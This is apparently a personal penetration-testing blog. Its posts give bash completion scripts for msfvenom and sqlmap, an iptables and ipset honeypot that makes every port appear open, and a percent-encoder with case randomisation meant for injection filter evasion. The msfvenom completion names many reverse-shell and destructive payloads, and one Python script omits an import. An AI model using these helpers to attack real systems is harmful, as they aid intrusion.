Tuesday, February 10, 2015

Congrats to me! LAB is started! OSCP on the way :)

Feeling happy :)

Bash completions for msfvenom!

outdated post...

As you know, commands msfpayload and msfencode will be deleted from popular framework Metasploit.
We will use msfvenom instead.

Bash completions for msfvenom:
root@kaka:~# msfvenom -e <TAB><TAB>
cmd/echo                      x86/alpha_upper
cmd/generic_sh                x86/avoid_underscore_tolower
cmd/ifs                       x86/avoid_utf8_tolower
cmd/perl                      x86/bloxor
cmd/powershell_base64         x86/call4_dword_xor
cmd/printf_php_mq             x86/context_cpuid
generic/eicar                 x86/context_stat
generic/none                  x86/context_time
mipsbe/byte_xori              x86/countdown
mipsbe/longxor                x86/fnstenv_mov
mipsle/byte_xori              x86/jmp_call_additive
mipsle/longxor                x86/nonalpha
php/base64                    x86/nonupper
ppc/longxor                   x86/opt_sub
ppc/longxor_tag               x86/shikata_ga_nai
sparc/longxor_tag             x86/single_static_bit
x64/xor                       x86/unicode_mixed
x86/add_sub                   x86/unicode_upper
x86/alpha_mixed               
root@kaka:~# msfvenom -e 
This will make your life easier :)

Checked in Ubuntu 12/14. For those who don't know how to apply this:

Copy this code into '/etc/bash_completion.d/msfvenom', open new console and woohoo!
 # bash completion for msfvenom by Korznikov Alexander

_msfvenom()
{
    local cur prev

    COMPREPLY=()
    cur=`_get_cword`
    prev=`_get_pword`

    case $prev in
    
         -f|--format)
            COMPREPLY=( $( compgen -W ' asp aspx aspx-exe dll elf elf-so exe exe-only exe-service exe-small loop-vbs macho msi msi-nouac osx-app psh psh-net \
            psh-reflection vba vba-exe vbs war bash c csharp dw dword java js_be js_le num perl pl powershell ps1 py python \
            raw rb ruby sh vbapplication vbscript ' -- "$cur" ) )
            return 0
            ;;
         -e|--encoder)
            COMPREPLY=( $( compgen -W ' cmd/echo cmd/generic_sh cmd/ifs cmd/perl cmd/powershell_base64 cmd/printf_php_mq generic/eicar \
            generic/none mipsbe/byte_xori mipsbe/longxor mipsle/byte_xori mipsle/longxor php/base64 ppc/longxor \
            ppc/longxor_tag sparc/longxor_tag x64/xor x86/add_sub x86/alpha_mixed x86/alpha_upper \
            x86/avoid_underscore_tolower x86/avoid_utf8_tolower x86/bloxor x86/call4_dword_xor \
            x86/context_cpuid x86/context_stat x86/context_time x86/countdown x86/fnstenv_mov \
            x86/jmp_call_additive x86/nonalpha x86/nonupper x86/opt_sub x86/shikata_ga_nai \
            x86/single_static_bit x86/unicode_mixed x86/unicode_upper ' -- "$cur" ) )
            return 0
            ;;
         -p|--payload)
            COMPREPLY=( $( compgen -W ' aix/ppc/shell_bind_tcp aix/ppc/shell_find_port aix/ppc/shell_interact aix/ppc/shell_reverse_tcp android/meterpreter/reverse_http \
            android/meterpreter/reverse_https android/meterpreter/reverse_tcp android/shell/reverse_http android/shell/reverse_https android/shell/reverse_tcp \
            bsd/sparc/shell_bind_tcp bsd/sparc/shell_reverse_tcp bsd/x86/exec bsd/x86/metsvc_bind_tcp bsd/x86/metsvc_reverse_tcp bsd/x86/shell/bind_ipv6_tcp \
            bsd/x86/shell/bind_tcp bsd/x86/shell/find_tag bsd/x86/shell/reverse_ipv6_tcp bsd/x86/shell/reverse_tcp bsd/x86/shell_bind_tcp \
            bsd/x86/shell_bind_tcp_ipv6 bsd/x86/shell_find_port bsd/x86/shell_find_tag bsd/x86/shell_reverse_tcp bsd/x86/shell_reverse_tcp_ipv6 \
            bsdi/x86/shell/bind_tcp bsdi/x86/shell/reverse_tcp bsdi/x86/shell_bind_tcp bsdi/x86/shell_find_port bsdi/x86/shell_reverse_tcp \
            cmd/unix/bind_awk cmd/unix/bind_inetd cmd/unix/bind_lua cmd/unix/bind_netcat cmd/unix/bind_netcat_gaping cmd/unix/bind_netcat_gaping_ipv6 \
            cmd/unix/bind_nodejs cmd/unix/bind_perl cmd/unix/bind_perl_ipv6 cmd/unix/bind_ruby cmd/unix/bind_ruby_ipv6 cmd/unix/bind_zsh \
            cmd/unix/generic cmd/unix/interact cmd/unix/reverse cmd/unix/reverse_awk cmd/unix/reverse_bash cmd/unix/reverse_bash_telnet_ssl \
            cmd/unix/reverse_lua cmd/unix/reverse_netcat cmd/unix/reverse_netcat_gaping cmd/unix/reverse_nodejs cmd/unix/reverse_openssl \
            cmd/unix/reverse_perl cmd/unix/reverse_perl_ssl cmd/unix/reverse_php_ssl cmd/unix/reverse_python cmd/unix/reverse_python_ssl \
            cmd/unix/reverse_ruby cmd/unix/reverse_ruby_ssl cmd/unix/reverse_ssl_double_telnet cmd/unix/reverse_zsh  cmd/windows/adduser \
            cmd/windows/bind_lua cmd/windows/bind_perl cmd/windows/bind_perl_ipv6 cmd/windows/bind_ruby cmd/windows/download_eval_vbs \
            cmd/windows/download_exec_vbs cmd/windows/generic cmd/windows/reverse_lua cmd/windows/reverse_perl cmd/windows/reverse_powershell \
            cmd/windows/reverse_ruby firefox/exec firefox/shell_bind_tcp firefox/shell_reverse_tcp generic/custom generic/debug_trap \
            generic/shell_bind_tcp generic/shell_reverse_tcp generic/tight_loop java/jsp_shell_bind_tcp java/jsp_shell_reverse_tcp \
            java/meterpreter/bind_tcp java/meterpreter/reverse_http java/meterpreter/reverse_https java/meterpreter/reverse_tcp \
            java/shell/bind_tcp java/shell/reverse_tcp java/shell_reverse_tcp linux/armle/adduser linux/armle/exec linux/armle/shell/bind_tcp \
            linux/armle/shell/reverse_tcp linux/armle/shell_bind_tcp linux/armle/shell_reverse_tcp linux/mipsbe/exec linux/mipsbe/reboot \
            linux/mipsbe/shell/reverse_tcp linux/mipsbe/shell_bind_tcp linux/mipsbe/shell_reverse_tcp linux/mipsle/exec linux/mipsle/reboot \
            linux/mipsle/shell/reverse_tcp linux/mipsle/shell_bind_tcp linux/mipsle/shell_reverse_tcp linux/ppc/shell_bind_tcp linux/ppc/shell_find_port \
            linux/ppc/shell_reverse_tcp linux/ppc64/shell_bind_tcp linux/ppc64/shell_find_port linux/ppc64/shell_reverse_tcp linux/x64/exec \
            linux/x64/shell/bind_tcp linux/x64/shell/reverse_tcp linux/x64/shell_bind_tcp linux/x64/shell_bind_tcp_random_port linux/x64/shell_find_port \
            linux/x64/shell_reverse_tcp linux/x86/adduser linux/x86/chmod linux/x86/exec linux/x86/meterpreter/bind_ipv6_tcp linux/x86/meterpreter/bind_nonx_tcp \
            linux/x86/meterpreter/bind_tcp linux/x86/meterpreter/find_tag linux/x86/meterpreter/reverse_ipv6_tcp linux/x86/meterpreter/reverse_nonx_tcp \
            linux/x86/meterpreter/reverse_tcp linux/x86/metsvc_bind_tcp linux/x86/metsvc_reverse_tcp linux/x86/read_file linux/x86/shell/bind_ipv6_tcp \
            linux/x86/shell/bind_nonx_tcp linux/x86/shell/bind_tcp linux/x86/shell/find_tag linux/x86/shell/reverse_ipv6_tcp linux/x86/shell/reverse_nonx_tcp \
            linux/x86/shell/reverse_tcp linux/x86/shell_bind_ipv6_tcp linux/x86/shell_bind_tcp linux/x86/shell_bind_tcp_random_port linux/x86/shell_find_port \
            linux/x86/shell_find_tag linux/x86/shell_reverse_tcp linux/x86/shell_reverse_tcp2 netware/shell/reverse_tcp nodejs/shell_bind_tcp \
            nodejs/shell_reverse_tcp nodejs/shell_reverse_tcp_ssl osx/armle/execute/bind_tcp osx/armle/execute/reverse_tcp osx/armle/shell/bind_tcp \
            osx/armle/shell/reverse_tcp osx/armle/shell_bind_tcp osx/armle/shell_reverse_tcp osx/armle/vibrate osx/ppc/shell/bind_tcp \
            osx/ppc/shell/find_tag osx/ppc/shell/reverse_tcp osx/ppc/shell_bind_tcp osx/ppc/shell_reverse_tcp osx/x64/dupandexecve/bind_tcp \
            osx/x64/dupandexecve/reverse_tcp osx/x64/exec osx/x64/say osx/x64/shell_bind_tcp osx/x64/shell_find_tag \
            osx/x64/shell_reverse_tcp osx/x86/bundleinject/bind_tcp osx/x86/bundleinject/reverse_tcp osx/x86/exec osx/x86/isight/bind_tcp \
            osx/x86/isight/reverse_tcp osx/x86/shell_bind_tcp osx/x86/shell_find_port osx/x86/shell_reverse_tcp osx/x86/vforkshell/bind_tcp \
            osx/x86/vforkshell/reverse_tcp osx/x86/vforkshell_bind_tcp osx/x86/vforkshell_reverse_tcp php/bind_perl php/bind_perl_ipv6 \
            php/bind_php php/bind_php_ipv6 php/download_exec php/exec php/meterpreter/bind_tcp php/meterpreter/bind_tcp_ipv6 \
            php/meterpreter/reverse_tcp php/meterpreter_reverse_tcp php/reverse_perl php/reverse_php php/shell_findsock \
            python/meterpreter/bind_tcp python/meterpreter/reverse_http python/meterpreter/reverse_tcp python/shell_reverse_tcp python/shell_reverse_tcp_ssl \
            ruby/shell_bind_tcp ruby/shell_bind_tcp_ipv6 ruby/shell_reverse_tcp ruby/shell_reverse_tcp_ssl solaris/sparc/shell_bind_tcp \
            solaris/sparc/shell_find_port solaris/sparc/shell_reverse_tcp solaris/x86/shell_bind_tcp solaris/x86/shell_find_port solaris/x86/shell_reverse_tcp \
            tty/unix/interact windows/adduser windows/dllinject/bind_hidden_ipknock_tcp windows/dllinject/bind_hidden_tcp windows/dllinject/bind_ipv6_tcp \
            windows/dllinject/bind_nonx_tcp windows/dllinject/bind_tcp windows/dllinject/bind_tcp_rc4 windows/dllinject/find_tag windows/dllinject/reverse_hop_http \
            windows/dllinject/reverse_http windows/dllinject/reverse_ipv6_tcp windows/dllinject/reverse_nonx_tcp windows/dllinject/reverse_ord_tcp windows/dllinject/reverse_tcp \
            windows/dllinject/reverse_tcp_allports windows/dllinject/reverse_tcp_dns windows/dllinject/reverse_tcp_rc4 windows/dllinject/reverse_tcp_rc4_dns  \
            windows/dns_txt_query_exec windows/download_exec windows/exec windows/format_all_drives windows/loadlibrary windows/messagebox \
            windows/meterpreter/bind_hidden_ipknock_tcp windows/meterpreter/bind_hidden_tcp windows/meterpreter/bind_ipv6_tcp windows/meterpreter/bind_nonx_tcp \
            windows/meterpreter/bind_tcp windows/meterpreter/bind_tcp_rc4 windows/meterpreter/find_tag windows/meterpreter/reverse_hop_http \
            windows/meterpreter/reverse_http windows/meterpreter/reverse_https windows/meterpreter/reverse_https_proxy windows/meterpreter/reverse_ipv6_tcp \
            windows/meterpreter/reverse_nonx_tcp windows/meterpreter/reverse_ord_tcp windows/meterpreter/reverse_tcp windows/meterpreter/reverse_tcp_allports \
            windows/meterpreter/reverse_tcp_dns windows/meterpreter/reverse_tcp_rc4 windows/meterpreter/reverse_tcp_rc4_dns windows/metsvc_bind_tcp \
            windows/metsvc_reverse_tcp windows/patchupdllinject/bind_hidden_ipknock_tcp windows/patchupdllinject/bind_hidden_tcp windows/patchupdllinject/bind_ipv6_tcp \
            windows/patchupdllinject/bind_nonx_tcp windows/patchupdllinject/bind_tcp windows/patchupdllinject/bind_tcp_rc4 windows/patchupdllinject/find_tag \
            windows/patchupdllinject/reverse_ipv6_tcp windows/patchupdllinject/reverse_nonx_tcp windows/patchupdllinject/reverse_ord_tcp windows/patchupdllinject/reverse_tcp \
            windows/patchupdllinject/reverse_tcp_allports windows/patchupdllinject/reverse_tcp_dns windows/patchupdllinject/reverse_tcp_rc4 windows/patchupdllinject/reverse_tcp_rc4_dns \
            windows/patchupmeterpreter/bind_hidden_ipknock_tcp windows/patchupmeterpreter/bind_hidden_tcp windows/patchupmeterpreter/bind_ipv6_tcp \
            windows/patchupmeterpreter/bind_nonx_tcp windows/patchupmeterpreter/bind_tcp windows/patchupmeterpreter/bind_tcp_rc4 windows/patchupmeterpreter/find_tag \
            windows/patchupmeterpreter/reverse_ipv6_tcp windows/patchupmeterpreter/reverse_nonx_tcp windows/patchupmeterpreter/reverse_ord_tcp windows/patchupmeterpreter/reverse_tcp \
            windows/patchupmeterpreter/reverse_tcp_allports windows/patchupmeterpreter/reverse_tcp_dns windows/patchupmeterpreter/reverse_tcp_rc4 \
            windows/patchupmeterpreter/reverse_tcp_rc4_dns windows/shell/bind_hidden_ipknock_tcp windows/shell/bind_hidden_tcp windows/shell/bind_ipv6_tcp \
            windows/shell/bind_nonx_tcp windows/shell/bind_tcp windows/shell/bind_tcp_rc4 windows/shell/find_tag windows/shell/reverse_hop_http \
            windows/shell/reverse_http windows/shell/reverse_ipv6_tcp windows/shell/reverse_nonx_tcp windows/shell/reverse_ord_tcp \
            windows/shell/reverse_tcp windows/shell/reverse_tcp_allports windows/shell/reverse_tcp_dns windows/shell/reverse_tcp_rc4 windows/shell/reverse_tcp_rc4_dns \
            windows/shell_bind_tcp windows/shell_bind_tcp_xpfw windows/shell_hidden_bind_tcp windows/shell_reverse_tcp windows/speak_pwned \
            windows/upexec/bind_hidden_ipknock_tcp windows/upexec/bind_hidden_tcp windows/upexec/bind_ipv6_tcp windows/upexec/bind_nonx_tcp windows/upexec/bind_tcp \
            windows/upexec/bind_tcp_rc4 windows/upexec/find_tag windows/upexec/reverse_hop_http windows/upexec/reverse_http windows/upexec/reverse_ipv6_tcp \
            windows/upexec/reverse_nonx_tcp windows/upexec/reverse_ord_tcp windows/upexec/reverse_tcp windows/upexec/reverse_tcp_allports windows/upexec/reverse_tcp_dns \
            windows/upexec/reverse_tcp_rc4 windows/upexec/reverse_tcp_rc4_dns windows/vncinject/bind_hidden_ipknock_tcp windows/vncinject/bind_hidden_tcp \
            windows/vncinject/bind_ipv6_tcp windows/vncinject/bind_nonx_tcp windows/vncinject/bind_tcp windows/vncinject/bind_tcp_rc4 \
            windows/vncinject/find_tag windows/vncinject/reverse_hop_http windows/vncinject/reverse_http windows/vncinject/reverse_ipv6_tcp windows/vncinject/reverse_nonx_tcp \
            windows/vncinject/reverse_ord_tcp windows/vncinject/reverse_tcp windows/vncinject/reverse_tcp_allports windows/vncinject/reverse_tcp_dns \
            windows/vncinject/reverse_tcp_rc4 windows/vncinject/reverse_tcp_rc4_dns windows/x64/exec windows/x64/loadlibrary windows/x64/meterpreter/bind_tcp \
            windows/x64/meterpreter/reverse_https windows/x64/meterpreter/reverse_tcp windows/x64/shell/bind_tcp windows/x64/shell/reverse_https \
            windows/x64/shell/reverse_tcp windows/x64/shell_bind_tcp windows/x64/shell_reverse_tcp windows/x64/vncinject/bind_tcp \
            windows/x64/vncinject/reverse_https windows/x64/vncinject/reverse_tcp ' -- "$cur" ) )
            return 0
            ;;
    esac

    if [[ "$cur" == * ]]; then
    COMPREPLY=( $( compgen -W ' -p --payload -l --list -n --nopsled -f --format -e --encoder \
            -a --arch --platform -s --space -b --bad-chars -i --iterations \
            -c --add-code -x --template -k --keep --payload-options -o \
            --out -v --var-name -h --help --help-formats ' -- "$cur" ) ) 
            
            
    # this removes any options from the list of completions that have
    # already been specified somewhere on the command line, as long as
    # these options can only be used once (in a word, "options", in
    # opposition to "tests" and "actions", as in the find(1) manpage).
    onlyonce=' -p --payload -l --list -n --nopsled -f --format -e --encoder \
     -a --arch --platform -s --space -b --bad-chars -i --iterations \
     -c --add-code -x --template -k --keep --payload-options -o \
     --out -v --var-name -h --help --help-formats '
    COMPREPLY=( $( \
           (while read -d ' ' i; do
            [[ -z "$i" || "${onlyonce/ ${i%% *} / }" == "$onlyonce" ]] &&
            continue
            # flatten array with spaces on either side,
            # otherwise we cannot grep on word boundaries of
            # first and last word
            COMPREPLY=" ${COMPREPLY[@]} "
            # remove word from list of completions
            COMPREPLY=( ${COMPREPLY/ ${i%% *} / } )
            done
            printf '%s ' "${COMPREPLY[@]}") <<<"${COMP_WORDS[@]}"
          ) )
     
#    else
#        _filedir 
    fi
} &&
complete -F _msfvenom msfvenom


gl!

Saturday, December 13, 2014

Bash Tab Completion for Awesome tool - SQLMap

Without a lot of words, i've made a bash completion for SQLMap tool.

First of all, make executable file in /usr/bin/ called sqlmap.
$ nano /usr/bin/sqlmap

#!/bin/bash

/PATH_TO_YOUR_SQLMAP/sqlmap.py "$@"

Save it, chmod +x it and then copy all this stuff to /etc/bash_completion.d/sqlmap:
# bash completion for sqlmap by Korznikov Alexander 

tamper=$(locate sqlmap.py |head -n1|cut -d'/' -f-3|awk '{print $1 "/tamper/"}' |xargs ls|grep -v "__" |sed ':a;N;$!ba;s/\n/ /g')
_sqlmap()
{
    local cur prev

    COMPREPLY=()
    cur=`_get_cword`
    prev=`_get_pword`

    case $prev in
    
  # List directory content
  --tamper)
     COMPREPLY=( $( compgen -W "$tamper" -- "$cur" ) )
     return 0
     ;;
  --output-dir|-t|-l|-m|-r|--load-cookies|--proxy-file|--sql-file|--shared-lib|--file-write)
     _filedir
     return 0
     ;;
  -c)
     _filedir ini
     return 0
     ;;
  --method)
     COMPREPLY=( $( compgen -W 'GET POST PUT' -- "$cur" ) )
     return 0
     ;;
  --auth-type)
     COMPREPLY=( $( compgen -W 'Basic Digest NTLM PKI' -- "$cur" ) )
     return 0
     ;;
  --tor-type)
     COMPREPLY=( $( compgen -W 'HTTP SOCKS4 SOCKS5' -- "$cur" ) )
     return 0
     ;;
  -v)
     COMPREPLY=( $( compgen -W '1 2 3 4 5 6' -- "$cur" ) )
     return 0
     ;;
  --dbms)
     COMPREPLY=( $( compgen -W 'mysql mssql access postgres' -- "$cur" ) )
     return 0
     ;;
  --level|--crawl)
     COMPREPLY=( $( compgen -W '1 2 3 4 5' -- "$cur" ) )
     return 0
     ;;
  --risk)
     COMPREPLY=( $( compgen -W '0 1 2 3' -- "$cur" ) )
     return 0
     ;;
  --technique)
     COMPREPLY=( $( compgen -W 'B E U S T Q' -- "$cur" ) )
     return 0
     ;;
  -s)
     _filedir sqlite
     return 0
     ;;
  --dump-format)
     COMPREPLY=( $( compgen -W 'CSV HTML SQLITE' -- "$cur" ) )
     return 0
     ;;
  -x)
     _filedir xml
     return 0
     ;;
    esac

    if [[ "$cur" == * ]]; then
    COMPREPLY=( $( compgen -W '-h --help -hh --version -v -d -u --url -l -x -m -r -g -c --method \
     --data --param-del --cookie --cookie-del --load-cookies \
     --drop-set-cookie --user-agent --random-agent --host --referer \
     --headers --auth-type --auth-cred --auth-private --ignore-401 \
     --proxy --proxy-cred --proxy-file --ignore-proxy --tor --tor-port \
     --tor-type --check-tor --delay --timeout --retries --randomize \
     --safe-url --safe-freq --skip-urlencode --csrf-token --csrf-url \
     --force-ssl --hpp --eval -o --predict-output --keep-alive \
     --null-connection --threads -p  --skip --dbms --dbms-cred \
     --os --invalid-bignum --invalid-logical --invalid-string \
     --no-cast --no-escape --prefix --suffix --tamper --level \
     --risk --string --not-string --regexp --code --text-only \
     --titles --technique --time-sec --union-cols --union-char \
     --union-from --dns-domain --second-order -f --fingerprint \
     -a --all -b --banner --current-user --current-db --hostname \
     --is-dba --users --passwords --privileges --roles --dbs --tables \
     --columns --schema --count --dump --dump-all --search --comments \
     -D -T -C -X -U --exclude-sysdbs --where --start --stop \
     --first --last --sql-query --sql-shell --sql-file --common-tables \
     --common-columns --udf-inject --shared-lib --file-read --file-write \
     --file-dest --os-cmd --os-shell --os-pwn --os-smbrelay --os-bof \
     --priv-esc --msf-path --tmp-path --reg-read --reg-add --reg-del \
     --reg-key --reg-value --reg-data --reg-type -s -t --batch \
     --charset --crawl --csv-del --dump-format --eta --flush-session \
     --forms --fresh-queries --hex --output-dir --parse-errors \
     --pivot-column --save --scope --test-filter --update \
     -z --alert --answers --beep --check-waf --cleanup \
     --dependencies --disable-coloring --gpage --identify-waf \
     --mobile --page-rank --purge-output --smart \
     --sqlmap-shell --wizard' -- "$cur" ) )     
    # this removes any options from the list of completions that have
    # already been specified somewhere on the command line, as long as
    # these options can only be used once (in a word, "options", in
    # opposition to "tests" and "actions", as in the find(1) manpage).
    onlyonce=' -h --help -hh --version -v -d -u --url -l -x -m -r -g -c \
     --drop-set-cookie --random-agent \
     --ignore-401 \
     --ignore-proxy --tor \
     --check-tor \
     --skip-urlencode \
     --force-ssl --hpp -o --predict-output --keep-alive \
     --null-connection -p \
     --invalid-bignum --invalid-logical --invalid-string \
     --no-cast --no-escape \
     --text-only \
     --titles \
     -f --fingerprint \
     -a --all -b --banner --current-user --current-db --hostname \
     --is-dba --users --passwords --privileges --roles --dbs --tables \
     --columns --schema --count --dump --dump-all --search --comments \
     -D -T -C -X -U --exclude-sysdbs \
     --sql-shell --common-tables \
     --common-columns --udf-inject \
     --os-shell --os-pwn --os-smbrelay --os-bof \
     --priv-esc --reg-read --reg-add --reg-del \
     -s -t --batch \
     --eta --flush-session \
     --forms --fresh-queries --hex --parse-errors \
     --save --update \
     -z --beep --check-waf --cleanup \
     --dependencies --disable-coloring --identify-waf \
     --mobile --page-rank --purge-output --smart \
     --sqlmap-shell --wizard '
    COMPREPLY=( $( \
           (while read -d ' ' i; do
            [[ -z "$i" || "${onlyonce/ ${i%% *} / }" == "$onlyonce" ]] &&
            continue
            # flatten array with spaces on either side,
            # otherwise we cannot grep on word boundaries of
            # first and last word
            COMPREPLY=" ${COMPREPLY[@]} "
            # remove word from list of completions
            COMPREPLY=( ${COMPREPLY/ ${i%% *} / } )
            done
            printf '%s ' "${COMPREPLY[@]}") <<<"${COMP_WORDS[@]}"
          ) )
     
#    else
#        _filedir bat
    fi
} &&
complete -F _sqlmap sqlmap

Enjoy! Like and share :)

Monday, October 13, 2014

Every port is OPEN for security reasons.

Suppose you're a c00l hacker, and you need to scan for some system for open ports. What will you do? NMAP. Right?

You are scanning your victim and discovering some open ports:
80,135,445 etc. This will help you to choose your methodology of future enumeration, right?

With regular NMAP scan, like:
bt6# nmap 1.2.3.4
the target will be scanned, by default, for 1000 well known ports.

Stop for a second, and think if all of these ports will be open.



You, as a hacker, will stuck for some time, enumerating fake-open ports. Furthermore, it will be immediately logged in system.

My teacher gave this idea, and implementation with scapy.
The algorithm is simple:
Got SYN packet > Send back SYN-ACK with SEQ+1.
That was fine, but works in half of times. Not a production level.

Also, he told that he wasn't first that invented this method.
I've googled, and not found anything about that.

So, i've asked for help from kernel modules :)
IPTABLES - Port-forwarding.

What we'll need? 
1. Server that will respond to every incoming SYN packet.
2. IPTABLES or other firewall
3. IPSET (for use in iptables)
4. Real-time monitoring for adding/removing ports from SET.

You can open all ports, but i don't think it is necessary.
I will open only well-known ports of nmap. Everyone use nmap, don't think so?

First of all, DROP reset (RST) packet in OUTPUT table.
# iptables -A OUTPUT -p tcp -m tcp --tcp-flags RST RST -j DROP
Why? If some port is closed, your system will not respond with RST packet back, and other reasons, like got SYN-ACK, or RST, etc.

Secondly, DROP ICMP packet 'destination unreachable' in OUTPUT table.
# iptables -A OUTPUT -p icmp -m icmp --icmp-type 3 -j DROP
We don't want to allow somebody to know about any closed port in our system.

Create a set in IPSET:
# ipset create set_name bitmap:port range 0-65535

Add your well-known ports to this set:
# ipset add set_name port_number

If you want to test your specific port, if it in the set:
# ipset test set_name 8888
8888 is in set set_name.

Need a well-known port list? take it:
# nmap 127.0.0.1 -dd |grep -E 'syn-ack|no-response'|cut -d'/' -f1 > ports.txt
This will work if you dropped a RESET packet in first step.


Assuming, you know BASH a little, you will know how to code a simple script that will add all ports to set in one click.

Ok. IPSET SET is created, let's make a main IPTABLES rule:
# iptables -t nat -A PREROUTING -p tcp -m set --match-set set_name dst -j REDIRECT --to-ports 8888

You may ask: "What is port 8888?"
That's the point. It is your server script that is listening only on one port, and answering everyone with a connection!

If you don't know how to make a server, you can use 'socat' for example:
# socat TCP-LISTEN:8888,reuseaddr,fork -

Otherwise, you can improve this script for you:
#!/usr/bin/env python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

host = 'YOUR_IP_ADDRESS'
port = 8888

s.bind((host, port))

s.listen(5)

try:
 while True:
   c, addr = s.accept()
   data = c.recv(2048)
   response = ''
   c.send("Welcome %s. Logged.\n" % addr[0])
   c.close()
except KeyboardInterrupt:
 s.close()


It will listen on 8888 port (chose yours), and will send back "Welcome IP_ADDR. Logged."

The output:
# nc 192.168.100.100 8888

Welcome 192.168.200.200. Logged.

Proof of concept: Nmap (fast) scanning
# nmap -F 192.168.100.100

Starting Nmap 6.46 ( http://nmap.org ) at 2014-10-13 03:06 IDT
Nmap scan report for 192.168.100.100
Host is up (0.0026s latency).
PORT      STATE    SERVICE
7/tcp     open     echo
9/tcp     open     discard
13/tcp    open     daytime
21/tcp    open     ftp
22/tcp    open     ssh
23/tcp    open     telnet
25/tcp    open     smtp
26/tcp    open     rsftp
37/tcp    open     time
53/tcp    open     domain
79/tcp    open     finger
80/tcp    open     http
81/tcp    open     hosts2-ns
88/tcp    open     kerberos-sec
106/tcp   open     pop3pw
110/tcp   open     pop3
111/tcp   open     rpcbind
113/tcp   open     ident
119/tcp   open     nntp
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
143/tcp   open     imap
144/tcp   open     news
179/tcp   open     bgp
199/tcp   open     smux
389/tcp   open     ldap
427/tcp   open     svrloc
443/tcp   open     https
444/tcp   open     snpp
445/tcp   open     microsoft-ds
465/tcp   open     smtps
513/tcp   open     login
514/tcp   open     shell
515/tcp   open     printer
543/tcp   open     klogin
544/tcp   open     kshell
548/tcp   open     afp
554/tcp   open     rtsp
587/tcp   open     submission
631/tcp   open     ipp
646/tcp   open     ldp
873/tcp   open     rsync
990/tcp   open     ftps
993/tcp   open     imaps
995/tcp   open     pop3s
1025/tcp  open     NFS-or-IIS
1026/tcp  open     LSA-or-nterm
1027/tcp  open     IIS
1028/tcp  open     unknown
1029/tcp  open     ms-lsa
1110/tcp  open     nfsd-status
1433/tcp  open     ms-sql-s
1720/tcp  open     H.323/Q.931
1723/tcp  open     pptp
1755/tcp  open     wms
1900/tcp  open     upnp
2000/tcp  open     cisco-sccp
2001/tcp  open     dc
2049/tcp  open     nfs
2121/tcp  open     ccproxy-ftp
2717/tcp  open     pn-requester
3000/tcp  open     ppp
3128/tcp  open     squid-http
3306/tcp  open     mysql
3389/tcp  open     ms-wbt-server
3986/tcp  open     mapper-ws_ethd
4899/tcp  open     radmin
5000/tcp  open     upnp
5009/tcp  open     airport-admin
5051/tcp  open     ida-agent
5060/tcp  open     sip
5101/tcp  open     admdog
5190/tcp  open     aol
5357/tcp  open     wsdapi
5432/tcp  open     postgresql
5631/tcp  open     pcanywheredata
5666/tcp  open     nrpe
5800/tcp  open     vnc-http
5900/tcp  open     vnc
6000/tcp  open     X11
6001/tcp  open     X11:1
6646/tcp  open     unknown
7070/tcp  open     realserver
8000/tcp  open     http-alt
8008/tcp  open     http
8009/tcp  open     ajp13
8080/tcp  open     http-proxy
8081/tcp  open     blackice-icecap
8443/tcp  open     https-alt
8888/tcp  open     sun-answerbook
9100/tcp  open     jetdirect
9999/tcp  open     abyss
10000/tcp open     snet-sensor-mgmt
32768/tcp open     filenet-tms
49152/tcp open     unknown
49153/tcp open     unknown
49154/tcp open     unknown
49155/tcp open     unknown
49156/tcp open     unknown
49157/tcp open     unknown
MAC Address: 00:0C:29:73:95:1C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds

Remains to solve only one problem. What if you want to open a port for some reason? like netcat...

We need a realtime monitoring for listening ports, and if the there appeared one or more new listen ports, we need to remove them from IPSET set. Otherwise if one or more listening ports disappeared, we have to add them to the SET.

A fast and dirty implementation of this:
#!/usr/bin/python

from subprocess import check_output
import re
from time import sleep

set_name = 'rports'

def open_ports():
   netstat = check_output('netstat -tan',shell=True)
   lports = re.findall(r'(?<=\:)[0-9]{1,5}\w(?=.+listen)',netstat.lower())
   lports = list(set(lports))
   return lports

tmp_ports = []

while 1:
   openports = open_ports()
   new_open = list(set(openports) - set(tmp_ports))
   new_closed = list(set(tmp_ports) - set(openports))
   if len(new_open):
     for port in new_open:
       #print 'removing port %s from ipset' % port
       os.system('ipset del %s %s' % (set_name,port))
   if len(new_closed):
     for port in new_closed:
       #print 'adding port %d to ipset' % int(port)
       os.system('ipset add %s %s' % (set_name,port))
   tmp_ports = openports
   sleep(1)

This will run 'netstat -tan' and look for changes in LISTEN ports.

Code on github: https://github.com/nopernik/open-ports-honeypot

Credits:
The idea - by Gil Rozenberg
Implementation with iptables/ipset - by Alexander Korznikov

nice to be a root#

Monday, September 15, 2014

URL encoder / Percent-encoding Like '%75%72%6C %65%6E%63%6F%64%69%6E%67' with Python.

With some injection techniques, we need sometimes to encode some string to URL-Encoded string (Percent-encoding).

I've found a lot of resources that can encode/decode your text to URL encoding.
But.
All of them does not encoding ASCII characters, like 'A' or 'S' for example.

If you want to encode this: ['some text], you will get this: [%27some%20text].
And I want all that string to be encoded, including 'some' and 'text'.
Decided to make this in python.

What is %20? It is hexadecimal value of 'space'.
I will use method .encode('hex_codec').
>>> ' '.encode('hex_codec')
'20'

Append '%' to it's value, and woala, you've got URL encoded 'space' = %20

Here it is (just a function):
#recieve string >> return URL converted string
def encoder(strings):
   strings = strings.split(' ')
   lst = []
   for s in strings:
      b = ''
      for i in str(s):
         b = b+'%'+i.encode('hex_codec')
      lst.append(str(b))
   all_string = ' '.join(lst).upper()
   return all_string

It should get a string, and return encoded string. (by the way, it will not encode spaces, i don't need it)

If you want a full working and colored script with upper/lower character randomization: 
#!/usr/bin/env python
#__author: Korznikov Alexander, aka nopernik

import sys
from random import randint

#coloring
W = '\033[0m' # Text reset
G = '\033[32m' # green
R = '\033[31m' # red
B = '\033[34m' # blue

#recieve string >> return URL converted string
def encoder(strings):
   strings = strings.split(' ')
   lst = []
   for s in strings:
      b = ''
      for i in str(s):
         b = b+'%'+i.encode('hex_codec')
      lst.append(str(b))
   all_string = ' '.join(lst).upper()
   return all_string

def randomize(data):
   s = ''
   for i in data:
      if randint(1,10) % 2: 
         s += i.lower()
      else:
         s += i.upper()
   return s
   
def main(data):
   rnd_data = randomize(data)
   print '\n(Original Decoded): \'%s%s%s\'' % (B,data,W)
   print '(Original Encoded): \'%s%s%s\'' % (G,encoder(data),W)
   print '\nRandomized Decoded: \'%s%s%s\'' % (R,rnd_data,W)
